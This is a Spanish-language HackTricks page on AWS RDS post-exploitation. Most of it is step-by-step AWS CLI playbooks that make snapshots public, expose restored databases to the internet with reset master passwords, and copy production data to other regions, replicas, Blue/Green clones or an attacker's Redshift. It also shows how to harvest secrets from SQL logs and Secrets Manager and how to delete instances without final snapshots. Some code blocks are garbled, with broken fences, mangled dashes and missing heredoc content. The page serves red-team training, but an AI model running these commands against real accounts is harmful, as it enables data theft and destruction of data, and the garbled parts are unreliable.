AWS - RDS Post Exploitation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

RDS

Para más información consulta:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si el atacante tiene permisos suficientes, podría hacer que una DB accesible públicamente creando un snapshot de la DB y luego una DB accesible públicamente a partir de ese snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia RDS o de todo un clúster, provocando la indisponibilidad de la base de datos, conexiones interrumpidas y la interrupción de procesos que dependen de la base de datos.

Para detener una única instancia de DB (ejemplo):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Para detener un DB cluster completo (ejemplo):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

Un atacante al que se le concedan permisos rds:Modify* puede alterar configuraciones críticas y recursos auxiliares (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sin tocar la instancia o el cluster directamente. Cambios como ajustar parámetros de conexión/tiempo de espera, cambiar un proxy endpoint, modificar qué certificados son de confianza, alterar la capacidad lógica o reconfigurar un subnet group pueden debilitar la seguridad (abrir nuevas vías de acceso), romper el enrutamiento y el balanceo de carga, invalidar las políticas de replicación/backup y, en general, degradar la disponibilidad o la recuperabilidad. Estas modificaciones también pueden facilitar la exfiltración indirecta de datos o dificultar una recuperación ordenada de la base de datos tras un incidente.

Move or change the subnets assigned to an RDS subnet group:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

Alterar parámetros de bajo nivel del motor en un grupo de parámetros del clúster:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

Un atacante con permisos rds:Restore* puede restaurar bases de datos completas desde snapshots, copias de seguridad automatizadas, recuperación punto en el tiempo (PITR), o archivos almacenados en S3, creando nuevas instancias o clústeres poblados con los datos del punto seleccionado. Estas operaciones no sobrescriben los recursos originales — crean nuevos objetos que contienen los datos históricos — lo que permite a un atacante obtener copias completas y funcionales de la base de datos (de puntos temporales pasados o desde archivos externos en S3) y usarlas para exfiltrar datos, manipular registros históricos o reconstruir estados previos.

Restaurar una instancia DB a un punto específico en el tiempo:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

Un atacante al que se le otorgue rds:Delete* puede eliminar recursos de RDS, borrando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups y artefactos relacionados, provocando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un atacante con estos permisos podría crear una snapshot de una DB y hacerla públicamente disponible. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.

Si el atacante no tiene el rds:CreateDBSnapshot, aún podría hacer públicas otras snapshots ya creadas.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un atacante con el permiso rds:DownloadDBLogFilePortion puede descargar porciones de los archivos de registro de una instancia de RDS. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría utilizar esta información para escalar sus privilegios o realizar acciones no autorizadas.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impacto potencial: Acceso a información sensible o acciones no autorizadas usando leaked credentials.

rds:DeleteDBInstance

Un atacante con estos permisos puede DoS instancias RDS existentes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impacto potencial: Eliminación de instancias RDS existentes y posible pérdida de datos.

rds:StartExportTask

Note

TODO: Probar

Un atacante con este permiso puede exportar un snapshot de una instancia RDS a un S3 bucket. Si el atacante tiene control sobre el S3 bucket de destino, podría acceder potencialmente a datos sensibles dentro del snapshot exportado.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impacto potencial: Acceso a datos sensibles en la instantánea exportada.

Replicación de copias de seguridad automatizadas entre regiones para restauración sigilosa (rds:StartDBInstanceAutomatedBackupsReplication)

Abusar de la replicación de copias de seguridad automatizadas entre regiones para duplicar silenciosamente las copias de seguridad automatizadas de una instancia RDS en otra AWS Region y restaurarlas allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Region que los defensores podrían no monitorizar.

Permisos necesarios (mínimos):

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (limpieza opcional)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (para exponer la DB restaurada)

Impacto: Persistencia y exfiltración de datos al restaurar una copia de datos de producción en otra Region y exponerla públicamente con credenciales controladas por el atacante.

CLI de extremo a extremo (reemplazar marcadores de posición) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrate via RDS log APIs

Abusar de `rds:ModifyDBParameterGroup` junto con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del engine DB). Habilitar el engine SQL logging y obtener los logs de archivo vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar consultas que puedan contener secrets/PII/JWTs.

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Steps
1) Recon target and current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Asegúrate de que se adjunte un DB parameter group personalizado (no se puede editar el predeterminado)
  • Si la instancia ya utiliza un grupo personalizado, reutiliza su nombre en el siguiente paso.
  • De lo contrario, crea y adjunta uno que coincida con la engine family:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Habilitar el registro SQL detallado
  • MySQL engines (inmediato / sin reinicio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • Motores de PostgreSQL (requiere reinicio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del motor
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Descubre y descarga los logs (no se requieren credenciales de DB)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analizar fuera de línea en busca de datos sensibles
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Ejemplo de evidencia (redactada):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Limpieza

  • Revertir los parámetros a sus valores predeterminados y reiniciar si es necesario:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impacto: Acceso a datos post-explotación al capturar todas las sentencias SQL de la aplicación vía AWS APIs (sin DB creds), potencialmente leaking secrets, JWTs y PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una réplica de lectura a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria) y, opcionalmente, exponer la réplica públicamente para exfiltrar datos.

Permisos necesarios (mínimo):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (si se expone públicamente)

Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Evidencia de ejemplo (MySQL):

  • Estado de la base de datos réplica: available, replicación de lectura: replicating
  • Conexión exitosa con la nueva contraseña y @@read_only=1 confirmando acceso de solo lectura a la réplica.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Abusar de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablece las credenciales del master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y a menudo elude la monitorización centrada únicamente en la fuente.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impacto: Solo lectura pero acceso completo a los datos en un clon casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción de datos de forma sigilosa y análisis sin conexión.

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Abusar de Aurora para habilitar el endpoint HTTP del RDS Data API en un cluster objetivo, resetear la contraseña master a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (p.ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL).

Permisos (mínimos):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impacto: Elude la segmentación de red y exfiltra datos a través de las AWS APIs sin conectividad VPC directa a la DB.

CLI de extremo a extremo (ejemplo Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

Notas:
- Si rds-data rechaza SQL con múltiples sentencias, emite llamadas separadas a execute-statement.
- Para engines donde modify-db-cluster --enable-http-endpoint no tiene efecto, usa rds enable-http-endpoint --resource-arn.
- Asegúrate de que el engine/version realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False.


### Obtener credenciales de la DB mediante secretos de autenticación de RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abusa de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego lee el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden ampliamente `secretsmanager:GetSecretValue`, lo que facilita un pivot de baja fricción hacia las credenciales de la DB. Si el secreto usa una CMK, permisos mal acotados de KMS también pueden permitir `kms:Decrypt`.

Permisos necesarios (mínimo):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sobre el SecretArn referenciado
- Opcional cuando el secreto usa una CMK: `kms:Decrypt` sobre esa key

Impacto: Divulgación inmediata del usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional.

Pasos
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Laboratorio (mínimo para reproducir)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Limpieza (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Exfiltración continua y sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)

Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN específico de cluster Aurora, un atacante puede establecer una copia de datos casi en tiempo real sin credenciales de DB, snapshots o exposición de red.

Permisos necesarios (mínimos):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (para consultar)
  • rds-data:ExecuteStatement (opcional; para insertar datos iniciales si es necesario)

Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Crear Redshift Serverless namespace + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurar la política de recursos de Redshift para permitir el origen Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Crear clúster de Aurora PostgreSQL (habilitar Data API y replicación lógica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Crear la integración zero‑ETL desde RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Materializar y consultar datos replicados en Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Evidencia observada en la prueba:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:…377a462b-…
  • SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y estado PendingDbConnectState antes de la creación de la DB.
  • Después de CREATE DATABASE FROM INTEGRATION, al listar tablas se revelaron el esquema ztl y la tabla customers; seleccionar desde ztl.customers devolvió 2 filas (Alice, Bob).

